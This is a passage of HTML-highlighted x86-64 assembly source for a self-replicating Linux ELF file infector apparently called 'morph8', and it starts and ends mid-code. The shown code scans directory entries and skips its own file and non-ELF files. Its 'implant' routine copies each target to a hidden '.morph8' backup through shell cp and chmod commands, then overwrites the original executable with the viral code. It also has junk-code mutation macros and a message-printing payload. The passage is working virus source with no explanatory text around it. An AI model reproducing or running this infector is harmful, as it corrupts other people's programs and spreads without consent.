    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.not_exists:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;

    &lt;span class="c1"&gt;; Check if we're trying to infect ourselves&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                &lt;span class="c1"&gt;; Save current filename&lt;/span&gt;

    &lt;span class="c1"&gt;; Get our own basename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;bin_name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;basename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcmp&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_self_infection&lt;/span&gt; &lt;span class="c1"&gt;; If filenames match, skip infection&lt;/span&gt;

    &lt;span class="c1"&gt;; Check if file is a valid ELF executable before infection&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;is_elf&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_non_elf&lt;/span&gt;        &lt;span class="c1"&gt;; Not a valid ELF, skip infection&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;implant&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.skip_self_infection:&lt;/span&gt;
    &lt;span class="c1"&gt;; Don't infect ourselves, just skip&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.skip_non_elf:&lt;/span&gt;
    &lt;span class="c1"&gt;; Not a valid ELF executable, skip infection&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.chosen_one:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcpy&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.found_vxx:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;vierge&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="nl"&gt;.skip_entry:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.list_entry&lt;/span&gt;

&lt;span class="nl"&gt;.list_done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;

&lt;span class="nl"&gt;.list_error:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;implant:&lt;/span&gt;                        &lt;span class="c1"&gt;; infect target executable&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="c1"&gt;; Validate input&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.d_skip&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strlen&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="c1"&gt;; Check filename length bounds&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
    &lt;span class="nf"&gt;jg&lt;/span&gt; &lt;span class="nv"&gt;.d_skip&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.d_skip&lt;/span&gt;

    &lt;span class="c1"&gt;; Check if we have code to embed&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.d_skip&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;jg&lt;/span&gt; &lt;span class="nv"&gt;.d_skip&lt;/span&gt;

    &lt;span class="c1"&gt;; 1: Create hidden backup of original file&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;768&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;             &lt;span class="c1"&gt;; Use third section for hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;hidden_name&lt;/span&gt;

    &lt;span class="c1"&gt;; Check if hidden backup already exists&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_open&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;             &lt;span class="c1"&gt;; hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_RDONLY&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.fallback&lt;/span&gt;             &lt;span class="c1"&gt;; File doesn't exist, create backup&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.infect_orgi&lt;/span&gt;         &lt;span class="c1"&gt;; Proceed to reinfect with new mutations&lt;/span&gt;

&lt;span class="nl"&gt;.fallback:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;             &lt;span class="c1"&gt;; Use first section for command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;cp_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;             &lt;span class="c1"&gt;; original filename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;             &lt;span class="c1"&gt;; hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;rintf_two_args&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;system_call&lt;/span&gt;

    &lt;span class="c1"&gt;; Set permissions on hidden file&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;             &lt;span class="c1"&gt;; Use second section for chmod command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;ch&lt;/span&gt;&lt;span class="nv"&gt;mod_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;             &lt;span class="c1"&gt;; hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;rintf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;system_call&lt;/span&gt;

&lt;span class="nl"&gt;.infect_orgi:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;768&lt;/span&gt;

    &lt;span class="c1"&gt;; 2: Replace original file with viral code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;             &lt;span class="c1"&gt;; original filename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;write_f&lt;/span&gt;

&lt;span class="nl"&gt;.d_skip:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;;; payload execution&lt;/span&gt;
&lt;span class="nl"&gt;execute:&lt;/span&gt;                        &lt;span class="c1"&gt;; virus payload&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;msg_cat&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strlen&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;msg_cat&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_write&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;hidden_name:&lt;/span&gt;                    &lt;span class="c1"&gt;; create .morph8&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;hidden_prefix&lt;/span&gt;

&lt;span class="nl"&gt;.check_prefix:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.already_one&lt;/span&gt;          &lt;span class="c1"&gt;; it matches&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.add_prefix&lt;/span&gt;          &lt;span class="c1"&gt;; Mismatch&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.check_prefix&lt;/span&gt;

&lt;span class="nl"&gt;.already_one:&lt;/span&gt;
    &lt;span class="c1"&gt;; File already has .morph8 prefix, just copy it&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_file&lt;/span&gt;

&lt;span class="nl"&gt;.add_prefix:&lt;/span&gt;
    &lt;span class="c1"&gt;; Add .morph8 prefix&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'.'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'m'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'o'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'r'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'p'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'h'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'8'&lt;/span&gt;

    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;

&lt;span class="nl"&gt;.cp_file:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_file&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sprintf:&lt;/span&gt;                        &lt;span class="c1"&gt;; basic string formatting&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                 &lt;span class="c1"&gt;; dst&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;                 &lt;span class="c1"&gt;; string&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;                &lt;span class="c1"&gt;; arg&lt;/span&gt;

&lt;span class="nl"&gt;.scan_format:&lt;/span&gt;
